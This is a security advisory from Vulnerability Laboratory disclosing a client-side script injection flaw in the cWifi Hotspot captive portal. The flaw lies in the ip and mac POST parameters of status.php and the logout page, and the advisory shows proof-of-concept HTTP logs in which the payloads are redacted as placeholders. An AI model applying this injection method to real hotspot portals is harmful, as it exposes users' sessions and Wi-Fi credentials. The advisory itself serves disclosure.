cWifi Hotspot Wireless CP Code Execution

Risk: High
Local: No
Remote: Yes

Document Title: =============== cWifi Hotspot Wireless CP - Code Execution Vulnerability References (Source): ==================== Release Date: ============= 2021-12-15 Vulnerability Laboratory ID (VL-ID): ==================================== 2310 Common Vulnerability Scoring System: ==================================== 8.2 Vulnerability Class: ==================== Code Execution Current Estimated Price: ======================== 2.000€ - 3.000€ Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered code execution vulnerability in the cWifi Hotspot Wireless Captive Portal. Affected Product(s): ==================== Product: cWifi Hotspot Wireless Captive Portal - (PHP) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-12-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A code execution vulnerability has been discovered in the official cWifi Hotspot wireless captive portal web-application. The vulnerability is located in the login status post method request for the spot-cwifi. Remote attackers are able to inject own malicious ip and mac adress credentials in the post method data request. that results in several different typ of vulnerabilities in connection to the phpsessionid. Attackers are able to provoke client-side script code execution via mac or ip parameter in the status post method request. Thus allows the attacker to gain access to the victims wifi connection and session credentials to access. The issue can be process by a full remote attacker after connecting as guest or member to the wifi. The parameter in the post method request are no sanitized correctly and results in a client-side execution. Request Method(s): [+] POST Vulnerable Module(s): [+] /v2/ [+] /logout Vulnerable File(s): [+] status.php Vulnerable Parameter(s): [+] ip [+] mac [+] adress Proof of Concept (PoC): ======================= The critical code execution vulnerability can be exploited by remote attackers with guest access or by authenticated user accounts. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. Vulnerable Source: status.php (v2/status.php - </head> <body> <div class="container-fluid"> <br><br> <div class="row"> <div class="col-md-4"></div> <div class="col-md-4"> <form data-ajax="false" action='/v2/status.php?PHPSESSID=06u1m6qlhcp4tbuuapnq8du5c7' method="post"> <p><span class="zwischenh1gelb gelb bold">MAC-Adresse: <[MALICIOUS INJECTED CODE EXECUTION!]></span></span> </span> <span class="bold">IP Adresse:</span><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></p> <p><span class="bold">Bytes up/down:</span>7.2 MiB/ 221.6 MiB</p> <p><span class="bold">Session time:</span>7m56s</p> <p><br> <button name="ABMELDEN" type="submit" class="btn btn-primary btn-lg btn-block">abmelden</button> <button name="DELETE" type="submit" class="btn btn-danger btn-lg btn-block">abmelden und Daten löschen</button> </p> </form> <div class="col-md-4"></div> </div> </div> </body> </html> -- logout status <td valign="middle" align="center"> <b>you have just logged out</b> <br><br> <table class="tabula" border="1"> <tbody><tr><td align="right">user name</td><td><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></td></tr> <tr><td align="right">IP address</td><td><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></td></tr> <tr><td align="right">MAC address</td><td><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></td></tr> <tr><td align="right">session time</td><td>4m12s</td></tr> <tr><td align="right">time left</td><td>23h55m48s</td></tr> <tr><td align="right">bytes up/down:</td><td>49.1 KiB / 169.2 KiB</td></tr> </tbody></table> <br> <form action="" name="login" onsubmit="return openLogin()"> <input type="submit" value="log in"> </form> </td> --- PoC Session Logs (POST) --- POST /v2/status.php HTTP/1.1 Host: Content-Length: 1129 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="93", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: Accept-Encoding: gzip, deflate Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close -<[MALICIOUS INJECTED CODE!]>%3A80&ssl-login=no &server-name=Client2822_HotSpot& & &domain=&interface-name=2_HotSpotA&ip=<[MALICIOUS INJECTED CODE!]>&logged-in=yes&mac=<[MALICIOUS INJECTED CODE!]>&trial=no&username=90%3ACC%3ADF%3A96%3AF6%3A59 &host-ip=<[MALICIOUS INJECTED CODE!]>&idle-timeout=5h&idle-timeout-secs=18000&limit-bytes-in=&limit-bytes-out=&refresh-timeout=1m&refresh-timeout-secs=60 &session-timeout=23h52m4s&session-timeout-secs=85924&session-time-left=23h52m4s&session-time-left-secs=85924&uptime=7m56s&uptime-secs=476 &bytes-in=7591511&bytes-in-nice=7.2+MiB&bytes-out=232391459&bytes-out-nice=221.6+MiB&packets-in=154484&packets-out=172963&remain-bytes-in= &remain-bytes-out=&session-id=&var=&error=&error-orig=&chap-id=%24%28chap-id%29&chap-challenge=%24%28chap-challenge%29&popup=%24%28popup%29 &advert-pending=no&http-status=%24%28http-status%29&http-header=%24%28http-header%29 - HTTP/1.1 200 OK Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=06u1m6qlhcp4tbuuapnq8du5c7; path=/ Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 2137 Connection: close Content-Type: text/html; charset=UTF-8 -- via Login Host: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 1078 Origin: Connection: keep-alive Referer: Cookie: PHPSESSID=tvpvp06jktbs8hvgm8efh1eh33 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site phone=&<[MALICIOUS INJECTED CODE!]>:80&ssl-login=no&server-name=Client2822_HotSpot &link-login= &link-orig=&domain=&interface-name=2_HotSpotA&ip=<[MALICIOUS INJECTED CODE!]>&logged-in=no&mac=<[MALICIOUS INJECTED CODE!]>&trial=no&username= &host-ip=<[MALICIOUS INJECTED CODE!]>&idle-timeout=&idle-timeout-secs=0 &limit-bytes-in=&limit-bytes-out=&refresh-timeout=&refresh-timeout-secs=0&session-timeout=&session-timeout-secs=0&session-time-left=&session-time-left-secs=0 &uptime=0s&uptime-secs=0&bytes-in=0&bytes-in-nice=0 B&bytes-out=0&bytes-out-nice=0 B&packets-in=0&packets-out=0&remain-bytes-in=&remain-bytes-out=&session-id= &var=&error=&error-orig=&chap-id=244&chap-challenge=2765623021030016220234114113331227527435520051 &popup=true&advert-pending=no&http-status=$(http-status)&http-header=$(http-header) - POST: HTTP/1.1 200 OK Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 334 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Security Risk: ============== The security risk of the code execution web vulnerability that allows to attack by multiple vectors to compromise the wifi is estimated as high. Credits & Authors: ================== Vulnerability-Lab [] - Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: ; ; Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

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